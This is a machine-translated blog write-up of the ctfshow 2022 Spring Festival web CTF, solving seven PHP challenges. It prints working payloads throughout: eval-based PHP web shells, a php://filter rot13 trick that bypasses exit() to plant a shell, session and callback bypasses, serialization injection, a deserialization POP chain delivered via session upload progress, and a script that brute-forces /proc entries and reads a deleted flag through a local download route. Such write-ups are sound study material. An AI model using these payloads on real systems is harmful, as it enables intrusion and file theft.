当前位置:网站首页>Ctfshow 2022 Spring Festival welcome (detailed commentary)
Ctfshow 2022 Spring Festival welcome (detailed commentary)
2022-07-05 04:04:00 【Yn8rt】
ctfshow New year welcome
Warm up
<?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2022-01-16 15:42:02 # @Last Modified by: h1xa # @Last Modified time: 2022-01-24 22:14:02 # @email: [email protected] # @link: https://ctfer.com */
eval($_GET['f']);
Write a sentence directly :?f=file_put_contents('2.php','<?php eval($_REQUEST[1]);highlight_file(__FILE__);?>');
phpinfo():[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-1kJ5vCl2-1644563627932)(http://images2.5666888.xyz//image-20220208175645977.png)]
There is a , Below this file is flag
Can directly cat tac
Train of thought two :
View the variables of the current page , Go straight out flag
?f=print_r(get_defined_vars());
web1
<?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2022-01-16 15:42:02 # @Last Modified by: h1xa # @Last Modified time: 2022-01-24 22:14:02 # @email: [email protected] # @link: https://ctfer.com */
highlight_file(__FILE__);
error_reporting(0);
$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);
This is not to bypass death exit() Well
2016 In the year p God proposed a solution to this problem :https://www.leavesongs.com/PENETRATION/php-filter-magic.html
The times are progressing :php://filter Bypass death file_put_content() base64 The code of is small trick
There are online rot13 Coding is convenient for direct use
Online universal payload:?content=php://filter/write=string.rot13|<?cuc @riny($_CBFG[pzq]);?>|/resource=shell.php
========><?php @eval($_POST[cmd]);?>
web2
<?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2022-01-16 15:42:02 # @Last Modified by: h1xa # @Last Modified time: 2022-01-24 22:14:02 # @email: [email protected] # @link: https://ctfer.com */
highlight_file(__FILE__);
session_start();
error_reporting(0);
include "flag.php";
if(count($_POST)===1){
//post The parameter quantity passed in must be only one
extract($_POST);
if (call_user_func($$$$$${
key($_POST)})==="HappyNewYear"){
//invoke
echo $flag;
}
}
?>
session_id() Returns the current session ID. If there is no current session , Returns an empty string ("").
<?php
highlight_file(__FILE__);
session_start();
echo session_id();
The return value is PHPSESSID The content in
payload:
POST http://89a75279-b83f-4cc3-9cca-cb60e2ab6716.challenge.ctf.show/ HTTP/1.1
Host: 89a75279-b83f-4cc3-9cca-cb60e2ab6716.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: log_Id_pv=5; PHPSESSID=HappyNewYear
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
session_id=session_id
web3
<?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2022-01-16 15:42:02 # @Last Modified by: h1xa # @Last Modified time: 2022-01-24 22:14:02 # @email: [email protected] # @link: https://ctfer.com */
highlight_file(__FILE__);
error_reporting(0);
include "flag.php";
$key= call_user_func(($_GET[1]));
if($key=="HappyNewYear"){
echo $flag;
}
die(" Good luck in the year of the tiger , Happy New Year !");
payload:
?1=session_start
?1=error_reporting
?1=json_last_error
json_last_error: If there is , return JSON The last error in encoding and decoding .
error_reporting: If no optional parameters are set level
, error_reporting() Only the current error reporting level will be returned .
session_start: Open a session
Here's one Weak comparison , Let's do an experiment :
<?php
$key = call_user_func('session_start');
var_dump($key);
// $val = "happy";
if($key=='happy'){
var_dump($key);
// var_dump($val);
echo "happy";
}else{
var_dump($val);
echo 'failed';
}
E:\phpstudy\PHPTutorial\WWW\testphp\sessionid.php:5:boolean true
E:\phpstudy\PHPTutorial\WWW\testphp\sessionid.php:8:boolean true
happy
There's one right here key The transformation that's going on , To put it bluntly, we need Pass in a function Can return 1 such , similar session_start ob_start
web4( The callback function writes after processing )
<?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2022-01-16 15:42:02 # @Last Modified by: h1xa # @Last Modified time: 2022-01-24 22:14:02 # @email: [email protected] # @link: https://ctfer.com */
highlight_file(__FILE__);
error_reporting(0);
$key= call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");
die(" Good luck in the year of the tiger , Happy New Year !");
spl_autoload_extensions — Register and return spl_autoload The default file extension used by the function .
When this function is called without any parameters , It returns a list of the current file extensions , The different extensions are separated by commas . To modify the list of file extensions , Call this function with a comma separated new extension list string . Chinese note : default spl_autoload The extension used by the function is ".inc,.php".
?1=spl_autoload_extensions
Generate .inc,.php file (shell file )
[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-nJ8LKoT1-1644563627933)(http://images2.5666888.xyz//image-20220210153925921.png)]
web5
official wp: Send a lot of hu You can enlarge the memory occupation through replacement , exceed php Maximum default memory 256M This will cause variable definition failure , A fatal error occurred, skipping subsequent overwrite writes
<?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2022-01-16 15:42:02 # @Last Modified by: h1xa # @Last Modified time: 2022-01-24 22:14:02 # @email: [email protected] # @link: https://ctfer.com */
error_reporting(0);
highlight_file(__FILE__);
include ".php";
file_put_contents("", $flag);
$ = str_replace("hu", "", $_POST['']);
file_put_contents("", $);
$a = str_repeat('hu',524280);
web6
<?php
error_reporting(0);
highlight_file(__FILE__);
$function = $_GET['POST'];
function filter($img){
$filter_arr = array('ctfshow','daniu','happyhuyear');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION['function'] = $function;
extract($_POST['GET']);
$_SESSION['file'] = base64_encode("/root/flag");
$serialize_info = filter(serialize($_SESSION));
if($function == 'GET'){
$userinfo = unserialize($serialize_info);
// The author has already taken flag, The title is normal , in other words ...
echo file_get_contents(base64_decode($userinfo['file']));
}
The prompt is to read the log
The configuration file /etc/nginx/nginx.conf L2V0Yy9uZ2lueC9uZ2lueC5jb25m
Access log /var/log/nginx/access.log
He is what he is :
<?php
$_SESSION['function'] = 'GET';
$_SESSION['file'] = base64_encode("/root/flag");
echo serialize($_SESSION);
//a:2:{s:8:"function";s:3:"GET";s:4:"file";s:16:"L3Jvb3QvZmxhZw==";}
We need to splice :
<?php
$_SESSION['file'] = base64_encode("/etc/nginx/nginx.conf");
echo serialize($_SESSION);
//a:1:{s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}
because $_SESSION['file']
After variable override , So we need to squeeze him out
<?php
$_SESSION['function'] = 'GET';
$_SESSION['ctfshow'] = 's:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}';
$_SESSION['filx'] = base64_encode("/root/flag");
echo serialize($_SESSION);
//a:3:{s:8:"function";s:3:"GET";s:7:"ctfshow";s:48:"s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}";s:4:"filx";s:16:"L3Jvb3QvZmxhZw==";}
After filtering :
//a:3:{s:8:"function";s:3:"GET";s:7:"";s:48:"s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}";s:4:"filx";s:16:"L3Jvb3QvZmxhZw==";}
Lack of 7 Characters will report an error , We need to fake it :
//a:3:{s:8:"function";s:3:"GET";s:7:"";s:48:";s:5:"yn8rt";s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}";s:4:"filx";s:16:"L3Jvb3QvZmxhZw==";}
Intercept forged sequences :
;s:5:"yn8rt";s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}
Perform variable overrides :
GET[_SESSION][ctfshow]=;s:5:"yn8rt";s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}
Empathy :
GET[_SESSION][ctfshowdaniu]=0000";s:5:"yn8rt";s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}
What I need to do is fill the empty space for the filtered strings and merge
web7
index.php
<?php
include("class.php");
error_reporting(0);
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
session_start();
if (isset($_GET['phpinfo']))
{
phpinfo();
}
if (isset($_GET['source']))
{
highlight_file("class.php");
}
$happy=new Happy();
$happy();
?>
class.php
<?php
class Happy {
public $happy;
function __construct(){
$this->happy="Happy_New_Year!!!";
}
function __destruct(){
$this->happy->happy;
}
public function __call($funName, $arguments){
die($this->happy->$funName);
}
public function __set($key,$value)
{
$this->happy->$key = $value;
}
public function __invoke()
{
echo $this->happy;
}
}
class _New_{
public $daniu;
public $robot;
public $notrobot;
private $_New_;
function __construct(){
$this->daniu="I'm daniu.";
$this->robot="I'm robot.";
$this->notrobot="I'm not a robot.";
}
public function __call($funName, $arguments){
echo $this->daniu.$funName."not exists!!!";
}
public function __invoke()
{
echo $this->daniu;
$this->daniu=$this->robot;
echo $this->daniu;
}
public function __toString()
{
$robot=$this->robot;
$this->daniu->$robot=$this->notrobot;
return (string)$this->daniu;
}
public function __get($key){
echo $this->daniu.$key."not exists!!!";
}
}
class Year{
public $zodiac;
public function __invoke()
{
echo "happy ".$this->zodiac." year!";
}
function __construct(){
$this->zodiac="Hu";
}
public function __toString()
{
$this->show();
}
public function __set($key,$value)#3
{
$this->$key = $value;
}
public function show(){
die(file_get_contents($this->zodiac));
}
public function __wakeup()
{
$this->zodiac = 'hu';
}
}
?>
The chain is more conventional :
Happy:__destruct()=>_New_:__get()=>_New_:__toString()=>Year:__toString()=>Year:Show()
poc:
<?php
class Happy {
public $happy;
}
class _New_{
public $daniu;
public $robot;
public $notrobot;
}
class Year{
public $zodiac;
}
$a=new Happy();
$a->happy=new _New_();
$a->happy->daniu=new _New_();
$a->happy->daniu->daniu=new Year();
$a->happy->daniu->robot="zodiac";
$a->happy->daniu->notrobot="/etc/passwd";
var_dump(serialize($a));
?>
//'O:5:"Happy":1:{s:5:"happy";O:5:"_New_":3:{s:5:"daniu";O:5:"_New_":3:{s:5:"daniu";O:4:"Year":1:{s:6:"zodiac";N;}s:5:"robot";s:6:"zodiac";s:8:"notrobot";s:11:"/etc/passwd";}s:5:"robot";N;s:8:"notrobot";N;}}'
Processing script :( It is suggested to directly add poc Below )
<?php
$b = '|O:5:"Happy":1:{s:5:"happy";O:5:"_New_":3:{s:5:"daniu";O:5:"_New_":3:{s:5:"daniu";O:4:"Year":1:{s:6:"zodiac";N;}s:5:"robot";s:6:"zodiac";s:8:"notrobot";s:11:"/etc/passwd";}s:5:"robot";N;s:8:"notrobot";N;}}';
echo addslashes($b);
//|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":3:{s:5:\"daniu\";O:5:\"_New_\":3:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";N;}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:11:\"/etc/passwd\";}s:5:\"robot\";N;s:8:\"notrobot\";N;}}
Form for submission :
<!DOCTYPE html>
<html>
<body>
<form action="http://d8868a5c-3faf-47eb-9651-87bab1a860ca.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
Replace filename The content of , You can verify
/proc/{pid}/cmdline It is readable by all users , You can write scripts to explode the process id Of cmdline:
import requests
import time
def get_file(filename):
data="""-----------------------------17234128115294 Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" 123 -----------------------------17234128115294 Content-Disposition: form-data; name="file"; filename="|O:5:\\"Happy\\":1:{s:5:\\"happy\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:4:\\"Year\\":1:{s:6:\\"zodiac\\";N;}s:5:\\"robot\\";s:6:\\"zodiac\\";s:8:\\"notrobot\\";s:"""+str(len(filename))+""":\\\""""+filename+"""\\";}s:5:\\"robot\\";N;s:8:\\"notrobot\\";N;}}"
Content-Type: text/plain
-----------------------------17234128115294--"""
r=requests.post(url='http://d8868a5c-3faf-47eb-9651-87bab1a860ca.challenge.ctf.show/',data=data,headers={
'Content-Type':'multipart/form-data; boundary=---------------------------17234128115294','Cookie': 'PHPSESSID=73de676b0bc50d3d9a2de4c89cc5c1cf'})
return(r.text.encode()[1990:])# Remove the source code information ,encode To show \00
for i in range(999):
print(i)
print(get_file('/proc/'+str(i)+'/cmdline'))
time.sleep(0.2)
[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-Vi7EUTMA-1644563627933)(http://images2.5666888.xyz//image-20220211150208933.png)]
Here it is. /proc/114/cmdline in :python3/app/server.py
//filename="|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":3:{s:5:\"daniu\";O:5:\"_New_\":3:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";N;}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:14:\"/app/server.py\";}s:5:\"robot\";N;s:8:\"notrobot\";N;}}"
import os
app = Flask(__name__)
flag=open('/flag','r')
#flag I deleted
os.remove('/flag')
@app.route('/', methods=['GET', 'POST'])
def index():
return "flag I deleted , Don't look for it "
@app.route('/download/', methods=['GET', 'POST'])
def download_file():
return send_file(request.args['filename'])
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)
flag Is in open Later deleted , And it hasn't been released yet , So it can be /proc/self/fd/ Find below , But there should be a place where you can read documents ,/download/ You can read files under the route , So read flag
filename="|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":3:{s:5:\"daniu\";O:5:\"_New_\":3:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";N;}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:56:\"http://127.0.0.1:5000/download/?filename=/proc/self/fd/3\";}s:5:\"robot\";N;s:8:\"notrobot\";N;}}"
0 yes stdin 1 yes stdout 2 yes stderr,fd Number can be from 3 Start trying .
边栏推荐
- Enterprise level: spire Office for . NET:Platinum|7.7. x
- 企业级:Spire.Office for .NET:Platinum|7.7.x
- The order of LDS links
- Threejs factory model 3DMAX model obj+mtl format, source file download
- [wp][introduction] brush weak type questions
- Laravel8 export excel file
- [数组]566. 重塑矩阵-简单
- C # use awaiter
- mysql的七种join连接查询
- Uni app common functions /api
猜你喜欢
面试汇总:这是一份全面&详细的Android面试指南
Behavior perception system
企业级:Spire.Office for .NET:Platinum|7.7.x
DMX parameter exploration of grandma2 onpc 3.1.2.5
Official announcement! The third cloud native programming challenge is officially launched!
Enterprise level: spire Office for . NET:Platinum|7.7. x
EasyCVR更改录像存储路径,不生成录像文件如何解决?
Soul 3: what is interface testing, how to play interface testing, and how to play interface automation testing?
Web components series (VII) -- life cycle of custom components
10种寻址方式之间的区别
随机推荐
北京程序员的真实一天!!!!!
kubernetes集群之调度系统
Web components series (VII) -- life cycle of custom components
Excuse me, my request is a condition update, but it is blocked in the buffer. In this case, can I only flush the cache every time?
为什么百度、阿里这些大厂宁愿花25K招聘应届生,也不愿涨薪5K留住老员工?
行为感知系统
我就一写代码的,王总整天和我谈格局...
Basic function learning 02
[charging station]_ Secular wisdom_ Philosophical wisdom _
A应用唤醒B应该快速方法
How is the entered query SQL statement executed?
[数组]566. 重塑矩阵-简单
企业级:Spire.Office for .NET:Platinum|7.7.x
open graph协议
[wp]bmzclub writeup of several questions
[wp][introduction] brush weak type questions
小程序中实现文章的关注功能
Use Firefox browser to quickly pick up Web image materials
DMX parameter exploration of grandma2 onpc 3.1.2.5
JWT vulnerability recurrence